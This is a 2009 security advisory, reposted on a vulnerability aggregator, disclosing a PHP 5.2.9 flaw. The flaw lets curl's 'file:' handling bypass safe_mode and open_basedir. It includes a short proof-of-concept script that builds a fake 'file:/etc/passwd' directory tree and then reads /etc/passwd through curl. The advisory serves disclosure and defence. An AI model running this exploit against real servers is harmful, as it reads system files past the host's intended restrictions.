Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21635
HistoryApr 12, 2009 - 12:00 a.m.

PHP 5.2.9 curl safe_mode & open_basedir bypass

2009-04-1200:00:00
vulners.com
35

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ PHP 5.2.9 curl safe_mode & open_basedir bypass ]

Author: Maksymilian Arciemowicz
http://SecurityReason.com
Date:

    • Dis.: 31.12.2008
    • Pub.: 10.04.2009

Original URL:
http://securityreason.com/achievement_securityalert/61

  • — 0.Description —
    PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique
    PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages
    quickly.

PHP supports libcurl, a library created by Daniel Stenberg, that allows you to connect and communicate to many different
types of servers with many different types of protocols. libcurl currently supports the http, https, ftp, gopher, telnet,
dict, file, and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading (this can also
be done with PHP's ftp extension), HTTP form based upload, proxies, cookies, and user+password authentication.

  • — 1. PHP 5.2.9 curl safe_mode & open_basedir bypass —
    The main problem exist in checking safe_mode & open_basedir for curl functions. There is a difference between checking the
    access and the implementation of the operations.

Example code:
curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd");

curl in the first place check safe_mode and open_basedir for

"file:////etc/passwd"
/* realpath is ./file:/etc/passwd */

and in next step will read

"file:////etc/passwd"
(without wrapper => /etc/passwd)

To attack, we need to cheat php by creating a virtual tree like

./file:/
./file:/etc/
./file:/etc/passwd/

Example for /etc/hosts :

./file:/
./file:/etc/
./file:/etc/hosts/

So if you execute the file as user X, we have to create special subdirectories.

  • —EXAMPLE-EXPLOIT—
    mkDIR("file:");
    chdir("file:");
    mkDIR("etc");
    chdir("etc");
    mkDIR("passwd");
    chdir("…");
    chdir("…");

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd");
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);

curl_close($ch);

  • —EXAMPLE-EXPLOIT—

The previous changes, may contribute to this error in php 5.2.9.
We will discourages the use ( safe_mode & open_basedir ) as the main security.

Exploit:
http://securityreason.com/achievement_exploitalert/11

iEYEARECAAYFAknfVzEACgkQpiCeOKaYa9bB7wCfUGnETLIyNN1de0A/wwLumeAy
wHMAn3OiRiuKq9ZL4zM0YNH6ix+NSNtQ
=Hcjr
-----END PGP SIGNATURE-----